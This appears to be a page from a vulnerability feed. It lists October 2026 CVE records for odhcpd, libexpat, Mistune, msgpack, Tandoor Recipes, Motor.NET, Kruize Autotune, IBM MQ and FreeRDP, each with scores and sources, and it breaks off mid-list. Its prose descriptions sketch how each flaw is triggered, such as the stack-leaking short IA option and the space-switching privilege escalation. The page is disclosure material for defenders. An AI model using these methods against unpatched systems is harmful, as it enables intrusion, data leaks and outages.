odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. From version 17.01.0 to before version 25.12.3, odhcpd's DHCPv6 IA parser accepts an IA_NA or IA_PD option whose body is shorter than struct dhcpv6_ia_hdr, casts the option header to that full structure, and reads ia->iaid before proving that the IA body contains the IAID field. If an unauthenticated network-adjacent client places a zero-length or otherwise short IA option at the end of odhcpd's 8192-byte receive stack buffer, the IAID read crosses from data_buf into adjacent stack memory. The disclosed bytes are then reflected in the DHCPv6 reply IAID; prior ARM validation showed data_buf[8192:8196] disclosing the saved stack canary, and wider stack scans can leak ASLR-useful stack/process contents. This issue has been patched in version 25.12.3.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-53920).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53920&date=2026-10-25).
Sources:
NVD CVE-2026-53920: https://nvd.nist.gov/vuln/detail/CVE-2026-53920
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53920&date=2026-10-25
odhcpd is the DHCPv6, DHCPv4, and router-advertisement server used by OpenWrt. From version 17.01.0 to before version 25.12.3, odhcpd's DHCPv6 IA parser accepts an IA_NA or IA_PD option whose body is shorter than struct dhcpv6_ia_hdr, casts the option header to that full structure, and reads ia->iaid before proving that the IA body contains the IAID field. If an unauthenticated network-adjacent client places a zero-length or otherwise short IA option at the end of odhcpd's 8192-byte receive stack buffer, the IAID read crosses from data_buf into adjacent stack memory. The disclosed bytes are then reflected in the DHCPv6 reply IAID; prior ARM validation showed data_buf[8192:8196] disclosing the saved stack canary, and wider stack scans can leak ASLR-useful stack/process contents. This issue has been patched in version 25.12.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too...
https://kevwire.com/record/CVE-2026-115506
libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too... (Oct 22, 2026).
libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too late. Attackers can supply a moderately sized XML document with a large DTD and nested entity expansions to consume tens of seconds of CPU per parse.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115506).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115506&date=2026-10-25).
Sources:
NVD CVE-2026-115506: https://nvd.nist.gov/vuln/detail/CVE-2026-115506
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115506&date=2026-10-25
libexpat through 2.9.0 contains a denial of service vulnerability because billion laughs protection in accountingDiffTolerated() in xmlparse.c detects entity amplification too late. Attackers can supply a moderately sized XML document with a large DTD and nested entity expansions to consume tens of seconds of CPU per parse.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistune before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser that allows unauthenticated attackers to exhaust CPU by submitting long runs of...
https://kevwire.com/record/CVE-2026-115352
Mistune before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser that allows unauthenticated attackers to exhaust CPU by submitting long runs of... (Oct 22, 2026).
Mistune before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser that allows unauthenticated attackers to exhaust CPU by submitting long runs of unmatched '[' characters. Attackers can send small markdown payloads that trigger O(N^2) parse_link_text and parse_link_label probing, occupying rendering workers for 30+ seconds per 16 KB input.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115352).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115352&date=2026-10-25).
Sources:
NVD CVE-2026-115352: https://nvd.nist.gov/vuln/detail/CVE-2026-115352
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115352&date=2026-10-25
Mistune before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser that allows unauthenticated attackers to exhaust CPU by submitting long runs of unmatched '[' characters. Attackers can send small markdown payloads that trigger O(N^2) parse_link_text and parse_link_label probing, occupying rendering workers for 30+ seconds per 16 KB input.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser's parse_link_text function that allows unauthenticated attackers to...
https://kevwire.com/record/CVE-2026-115348
Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser's parse_link_text function that allows unauthenticated attackers to... (Oct 22, 2026).
Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser's parse_link_text function that allows unauthenticated attackers to exhaust CPU with unbalanced brackets. Attackers can submit Markdown containing many unbalanced '[' or '![' characters, forcing repeated unbounded forward scans and tying up worker processes for minutes.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115348).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115348&date=2026-10-25).
Sources:
NVD CVE-2026-115348: https://nvd.nist.gov/vuln/detail/CVE-2026-115348
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115348&date=2026-10-25
Mistune from 3.0.0 before 3.3.0 contains an algorithmic complexity vulnerability in the inline link parser's parse_link_text function that allows unauthenticated attackers to exhaust CPU with unbalanced brackets. Attackers can submit Markdown containing many unbalanced '[' or '![' characters, forcing repeated unbounded forward scans and tying up worker processes for minutes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MessagePack is the serializer implementation for Python msgpack.org.
https://kevwire.com/record/CVE-2026-114613
MessagePack is the serializer implementation for Python msgpack.org. (Oct 22, 2026).
MessagePack is the serializer implementation for Python msgpack.org. Prior to 1.2.3, the msgpack-python C extension (msgpack._cmsgpack) leaks a decoded map value when deserialization rejects a key with strict_map_key=True (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both unpackb() and the streaming Unpacker API are affected. The pure-Python fallback does not exhibit this leak in the reported tests. This issue is fixed in version 1.2.3.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114613).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114613&date=2026-10-25).
Sources:
NVD CVE-2026-114613: https://nvd.nist.gov/vuln/detail/CVE-2026-114613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114613&date=2026-10-25
MessagePack is the serializer implementation for Python msgpack.org. Prior to 1.2.3, the msgpack-python C extension (msgpack._cmsgpack) leaks a decoded map value when deserialization rejects a key with strict_map_key=True (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both unpackb() and the streaming Unpacker API are affected. The pure-Python fallback does not exhibit this leak in the reported tests. This issue is fixed in version 1.2.3.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tandoor Recipes before 2.7.0 contains an improper cache-key design in cookbook/helper/permission_helper.py that allows authenticated users to retain stale group-based permissions...
https://kevwire.com/record/CVE-2026-112342
Tandoor Recipes before 2.7.0 contains an improper cache-key design in cookbook/helper/permission_helper.py that allows authenticated users to retain stale group-based permissions... (Oct 23, 2026).
Tandoor Recipes before 2.7.0 contains an improper cache-key design in cookbook/helper/permission_helper.py that allows authenticated users to retain stale group-based permissions across different spaces by exploiting a cache key keyed only on user id while omitting the active space, with the cached entry's TTL refreshed on every request. Attackers can create their own space to obtain an admin group designation, then switch their active space to a victim space where they hold lesser privileges, causing the stale cached admin decision to authorize elevated access and bypass group revocations or demotions across multiple permission classes and views.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112342).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112342&date=2026-10-25).
Sources:
NVD CVE-2026-112342: https://nvd.nist.gov/vuln/detail/CVE-2026-112342
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112342&date=2026-10-25
Tandoor Recipes before 2.7.0 contains an improper cache-key design in cookbook/helper/permission_helper.py that allows authenticated users to retain stale group-based permissions across different spaces by exploiting a cache key keyed only on user id while omitting the active space, with the cached entry's TTL refreshed on every request. Attackers can create their own space to obtain an admin group designation, then switch their active space to a victim space where they hold lesser privileges, causing the stale cached admin decision to authorize elevated access and bypass group revocations or demotions across multiple permission classes and views.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Motor.NET before 0.19.0 contains a denial of service vulnerability that allows a remote attacker who can publish to a consumed queue to crash the service permanently by sending a...
https://kevwire.com/record/CVE-2026-112330
Motor.NET before 0.19.0 contains a denial of service vulnerability that allows a remote attacker who can publish to a consumed queue to crash the service permanently by sending a... (Oct 22, 2026).
Motor.NET before 0.19.0 contains a denial of service vulnerability that allows a remote attacker who can publish to a consumed queue to crash the service permanently by sending a message with crafted cloudEvents headers. Attackers can supply an invalid cloudEvents:motorversion, a single double-quote header value, or an unparsable typed attribute such as cloudEvents:time to trigger an unhandled exception in ExtractCloudEvent that is treated as fatal, causing the application to stop and the unacknowledged message to be redelivered on restart, resulting in a permanent crash-loop.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112330).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112330&date=2026-10-25).
Sources:
NVD CVE-2026-112330: https://nvd.nist.gov/vuln/detail/CVE-2026-112330
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112330&date=2026-10-25
Motor.NET before 0.19.0 contains a denial of service vulnerability that allows a remote attacker who can publish to a consumed queue to crash the service permanently by sending a message with crafted cloudEvents headers. Attackers can supply an invalid cloudEvents:motorversion, a single double-quote header value, or an unparsable typed attribute such as cloudEvents:time to trigger an unhandled exception in ExtractCloudEvent that is treated as fatal, causing the application to stop and the unacknowledged message to be redelivered on restart, resulting in a permanent crash-loop.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Kruize Autotune. Its REST API ships without an authentication layer, and the endpoints that return datasource configuration — the list-datasources endpoint...
https://kevwire.com/record/CVE-2026-110975
A flaw was found in Kruize Autotune. Its REST API ships without an authentication layer, and the endpoints that return datasource configuration — the list-datasources endpoint... (Oct 23, 2026).
A flaw was found in Kruize Autotune. Its REST API ships without an authentication layer, and the endpoints that return datasource configuration — the list-datasources endpoint (GET /datasources) and the datasource-metadata endpoint — serialized datasource objects using a default Gson configuration with no field-exclusion strategy. As a result, the authentication secrets stored for each configured monitoring datasource (basic-auth passwords, bearer tokens, API keys, and OAuth2 client secrets) were returned in cleartext to any client able to reach the service. An attacker with network access to Autotune could harvest these credentials and reuse them to authenticate to the backing monitoring stack.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110975).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110975&date=2026-10-25).
Sources:
NVD CVE-2026-110975: https://nvd.nist.gov/vuln/detail/CVE-2026-110975
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110975&date=2026-10-25
A flaw was found in Kruize Autotune. Its REST API ships without an authentication layer, and the endpoints that return datasource configuration — the list-datasources endpoint (GET /datasources) and the datasource-metadata endpoint — serialized datasource objects using a default Gson configuration with no field-exclusion strategy. As a result, the authentication secrets stored for each configured monitoring datasource (basic-auth passwords, bearer tokens, API keys, and OAuth2 client secrets) were returned in cleartext to any client able to reach the service. An attacker with network access to Autotune could harvest these credentials and reuse them to authenticate to the backing monitoring stack.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM MQ Operator could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to unrestricted Java deserialization in the MQ Classes...
https://kevwire.com/record/CVE-2026-12148
IBM MQ Operator could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to unrestricted Java deserialization in the MQ Classes... (Oct 19, 2026).
IBM MQ Operator could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to unrestricted Java deserialization in the MQ Classes for Java.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-12148).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-12148&date=2026-10-25).
Sources:
NVD CVE-2026-12148: https://nvd.nist.gov/vuln/detail/CVE-2026-12148
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292667
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-12148&date=2026-10-25
IBM MQ Operator could allow an authenticated attacker to cause a denial of service or potentially execute arbitrary code due to unrestricted Java deserialization in the MQ Classes for Java.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 3.3.0 before 3.32.0, when built with WINPR_UTILS_IMAGE_JPEG=ON, has a heap-based out-of-bounds write in winpr_convert_from_jpeg because grayscale JPEG buffers are sized...
https://kevwire.com/record/CVE-2026-110839
FreeRDP 3.3.0 before 3.32.0, when built with WINPR_UTILS_IMAGE_JPEG=ON, has a heap-based out-of-bounds write in winpr_convert_from_jpeg because grayscale JPEG buffers are sized... (Oct 14, 2026).
FreeRDP 3.3.0 before 3.32.0, when built with WINPR_UTILS_IMAGE_JPEG=ON, has a heap-based out-of-bounds write in winpr_convert_from_jpeg because grayscale JPEG buffers are sized from one input component rather than three BGR output components. A malicious RDP server can offer a grayscale JPEG via clipboard redirection, corrupting client memory and crashing it when the item is pasted as CF_DIB bitmap data.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110839).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110839&date=2026-10-25).
Sources:
NVD CVE-2026-110839: https://nvd.nist.gov/vuln/detail/CVE-2026-110839
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-99p4-8j24-wvj4
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110839&date=2026-10-25
FreeRDP 3.3.0 before 3.32.0, when built with WINPR_UTILS_IMAGE_JPEG=ON, has a heap-based out-of-bounds write in winpr_convert_from_jpeg because grayscale JPEG buffers are sized from one input component rather than three BGR output components. A malicious RDP server can offer a grayscale JPEG via clipboard redirection, corrupting client memory and crashing it when the item is pasted as CF_DIB bitmap data.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 2.0.0 before 3.32.0 contains a null pointer dereference vulnerability that allows malicious RDP servers to crash clients by sending out-of-lifecycle serial IRPs.
https://kevwire.com/record/CVE-2026-110834
FreeRDP from 2.0.0 before 3.32.0 contains a null pointer dereference vulnerability that allows malicious RDP servers to crash clients by sending out-of-lifecycle serial IRPs. (Oct 14, 2026).
FreeRDP from 2.0.0 before 3.32.0 contains a null pointer dereference vulnerability that allows malicious RDP servers to crash clients by sending out-of-lifecycle serial IRPs. Attackers can send IRP_MJ_READ or IRP_MJ_WRITE before create or after close, causing CommReadFile or CommWriteFile to dereference a null handle and terminate clients using Linux serial redirection.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110834).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110834&date=2026-10-25).
Sources:
NVD CVE-2026-110834: https://nvd.nist.gov/vuln/detail/CVE-2026-110834
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-pw4j-ff39-9vjm
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110834&date=2026-10-25
FreeRDP from 2.0.0 before 3.32.0 contains a null pointer dereference vulnerability that allows malicious RDP servers to crash clients by sending out-of-lifecycle serial IRPs. Attackers can send IRP_MJ_READ or IRP_MJ_WRITE before create or after close, causing CommReadFile or CommWriteFile to dereference a null handle and terminate clients using Linux serial redirection.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 3.0.0 before 3.32.0 contains an infinite loop vulnerability in http_response_recv() that allows malicious gateways to exhaust client CPU via crafted Content-Type...
https://kevwire.com/record/CVE-2026-110836
FreeRDP from 3.0.0 before 3.32.0 contains an infinite loop vulnerability in http_response_recv() that allows malicious gateways to exhaust client CPU via crafted Content-Type... (Oct 14, 2026).
FreeRDP from 3.0.0 before 3.32.0 contains an infinite loop vulnerability in http_response_recv() that allows malicious gateways to exhaust client CPU via crafted Content-Type headers. Attackers controlling a gateway can return a nonzero Content-Length with a semicolon-containing unrecognized Content-Type, pinning a client thread at full CPU indefinitely.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110836).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110836&date=2026-10-25).
Sources:
NVD CVE-2026-110836: https://nvd.nist.gov/vuln/detail/CVE-2026-110836
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h7fx-22wv-4cg8
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110836&date=2026-10-25
FreeRDP from 3.0.0 before 3.32.0 contains an infinite loop vulnerability in http_response_recv() that allows malicious gateways to exhaust client CPU via crafted Content-Type headers. Attackers controlling a gateway can return a nonzero Content-Length with a semicolon-containing unrecognized Content-Type, pinning a client thread at full CPU indefinitely.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP 2.0.0 before 3.32.0, when built with WITH_LAME=ON and WITH_DSP_FFMPEG=OFF, has a heap-based buffer overflow in freerdp_dsp_decode_mp3 because the right-channel PCM pointer...
https://kevwire.com/record/CVE-2026-110837
FreeRDP 2.0.0 before 3.32.0, when built with WITH_LAME=ON and WITH_DSP_FFMPEG=OFF, has a heap-based buffer overflow in freerdp_dsp_decode_mp3 because the right-channel PCM pointer... (Oct 14, 2026).
FreeRDP 2.0.0 before 3.32.0, when built with WITH_LAME=ON and WITH_DSP_FFMPEG=OFF, has a heap-based buffer overflow in freerdp_dsp_decode_mp3 because the right-channel PCM pointer is offset by a byte count treated as short elements. A malicious RDP server can send MP3 audio over rdpsnd so decoded samples cross the heap allocation, crashing the client.
CVSS 6.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110837).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110837&date=2026-10-25).
Sources:
NVD CVE-2026-110837: https://nvd.nist.gov/vuln/detail/CVE-2026-110837
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-52xc-5973-w5vv
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110837&date=2026-10-25
FreeRDP 2.0.0 before 3.32.0, when built with WITH_LAME=ON and WITH_DSP_FFMPEG=OFF, has a heap-based buffer overflow in freerdp_dsp_decode_mp3 because the right-channel PCM pointer is offset by a byte count treated as short elements. A malicious RDP server can send MP3 audio over rdpsnd so decoded samples cross the heap allocation, crashing the client.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP shadow server from 3.0.0 before 3.32.0 dispatches input PDUs during the Confirm Active state before authentication, allowing unauthenticated attackers to inject keyboard...
https://kevwire.com/record/CVE-2026-110838
FreeRDP shadow server from 3.0.0 before 3.32.0 dispatches input PDUs during the Confirm Active state before authentication, allowing unauthenticated attackers to inject keyboard... (Oct 14, 2026).
FreeRDP shadow server from 3.0.0 before 3.32.0 dispatches input PDUs during the Confirm Active state before authentication, allowing unauthenticated attackers to inject keyboard input. Attackers can negotiate TLS-only RDP and send an input PDU without Confirm Active to inject synthetic keystrokes into the host user's X11 session via XTEST.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110838).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110838&date=2026-10-25).
Sources:
NVD CVE-2026-110838: https://nvd.nist.gov/vuln/detail/CVE-2026-110838
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-m998-cvfm-9444
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110838&date=2026-10-25
FreeRDP shadow server from 3.0.0 before 3.32.0 dispatches input PDUs during the Confirm Active state before authentication, allowing unauthenticated attackers to inject keyboard input. Attackers can negotiate TLS-only RDP and send an input PDU without Confirm Active to inject synthetic keystrokes into the host user's X11 session via XTEST.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 3.0.0-beta1 before 3.32.0 fails to enforce cumulative or absolute size limits when reassembling RDPDR channel fragments in the proxy.
https://kevwire.com/record/CVE-2026-110833
FreeRDP from 3.0.0-beta1 before 3.32.0 fails to enforce cumulative or absolute size limits when reassembling RDPDR channel fragments in the proxy. (Oct 14, 2026).
FreeRDP from 3.0.0-beta1 before 3.32.0 fails to enforce cumulative or absolute size limits when reassembling RDPDR channel fragments in the proxy. Attackers can send a FIRST fragment followed by continuation fragments without LAST, growing per-session heap streams proportional to traffic and exhausting proxy memory.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110833).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110833&date=2026-10-25).
Sources:
NVD CVE-2026-110833: https://nvd.nist.gov/vuln/detail/CVE-2026-110833
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-m7g5-gw57-cwcr
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110833&date=2026-10-25
FreeRDP from 3.0.0-beta1 before 3.32.0 fails to enforce cumulative or absolute size limits when reassembling RDPDR channel fragments in the proxy. Attackers can send a FIRST fragment followed by continuation fragments without LAST, growing per-session heap streams proportional to traffic and exhausting proxy memory.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP from 2.0.0 before 3.32.0 contains a memory exhaustion vulnerability in wts_read_drdynvc_data_first that allows authenticated clients to force servers to commit large...
https://kevwire.com/record/CVE-2026-110832
FreeRDP from 2.0.0 before 3.32.0 contains a memory exhaustion vulnerability in wts_read_drdynvc_data_first that allows authenticated clients to force servers to commit large... (Oct 14, 2026).
FreeRDP from 2.0.0 before 3.32.0 contains a memory exhaustion vulnerability in wts_read_drdynvc_data_first that allows authenticated clients to force servers to commit large memory allocations. Attackers can send a seven-byte DATA_FIRST message on an opened DVC declaring a large 32-bit length, causing zeroed resident memory growth and server resource exhaustion.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110832).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110832&date=2026-10-25).
Sources:
NVD CVE-2026-110832: https://nvd.nist.gov/vuln/detail/CVE-2026-110832
Vendor advisory (via NVD references): https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-5cgr-vmp8-fmvj
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110832&date=2026-10-25
FreeRDP from 2.0.0 before 3.32.0 contains a memory exhaustion vulnerability in wts_read_drdynvc_data_first that allows authenticated clients to force servers to commit large memory allocations. Attackers can send a seven-byte DATA_FIRST message on an opened DVC declaring a large 32-bit length, causing zeroed resident memory growth and server resource exhaustion.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.0 fails to close prior serial handles in serial_process_irp_create, allowing a malicious RDP server to exhaust file descriptors.
https://kevwire.com/record/CVE-2026-110830
